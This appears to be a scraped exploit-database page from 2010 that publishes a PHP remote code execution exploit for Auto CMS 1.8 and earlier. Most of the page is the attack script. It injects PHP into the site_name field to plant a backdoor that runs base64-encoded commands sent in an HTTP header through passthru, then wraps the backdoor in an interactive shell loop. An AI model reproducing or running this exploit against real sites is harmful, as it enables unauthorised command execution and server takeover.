Home / os / win7

[webapps / 0day] - Auto CMS <= 1.8 Remote Code Execution

Posted on 31 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Auto CMS &lt;= 1.8 Remote Code Execution | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Auto CMS &lt;= 1.8 Remote Code Execution by giudinvx in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>=====================================
Auto CMS &lt;= 1.8 Remote Code Execution
=====================================

Author___: giudinvx
Email____: &lt;giudinvx[at]gmail[dot]com&gt;
Date_____: 10/31/2010
Site_____: http://www.giudinvx.altervista.org/
Site CMS_: http://ventics.com/autocms/
*/
 
error_reporting(0);
set_time_limit(0);
 
function openfsock ($host, $pack)
{
if (!($fp = fsockopen($host, 80))) {
die(&quot;
No response
&quot;);
} else {
fputs($fp, $pack);
 
while (!feof($fp)) {
$ret .= fgets($fp, 1024);
}
fclose($fp);
}
return $ret;
}
 
$host = $argv[1];
$path = $argv[2];
 
if ($argc &lt; 3) {
echo &quot;
Example: php $argv[0] lolcalhost /
Example: php $argv[0] localhost /path/

&quot;;
die();
}
 
$excode =
&quot;update=WuaU&amp;site_name=aZombie\&#039;);error_reporting(0);passthru(base64_decode($_SERVER[HTTP_CMD]));die;//&quot;;
$pack = &quot;POST /test/autocms/ HTTP/1.1
&quot;;
$pack.= &quot;Host: localhost
&quot;;
$pack.= &quot;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.1) Gecko/20061010 Firefox/2.0
&quot;;
$pack.= &quot;Cmd: %s
&quot;;
$pack.= &quot;Content-Length: &quot;.strlen($excode).&quot;
&quot;;
$pack.= &quot;Content-Type: application/x-www-form-urlencoded
&quot;;
$pack.= &quot;Connection: close

&quot;;
$pack.= $excode;
 
echo &quot;
Auto CMS &lt;= 1.8 Remote Code Execution
Exploit by giudinvx&quot;;
 
while (true) {
echo &quot;
ShellCMD
&quot;;
$cmd = trim(fgets(STDIN));
 if ($cmd != &quot;:q&quot;) {
$res = openfsock($host, sprintf($pack, base64_encode($cmd)));
preg_match(&quot;/(
|.)*/i&quot;, $res, $match);
echo $match[0];
} else {
die();
}
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-31]</pre></body></html>

 

TOP

Malware :

Exploits :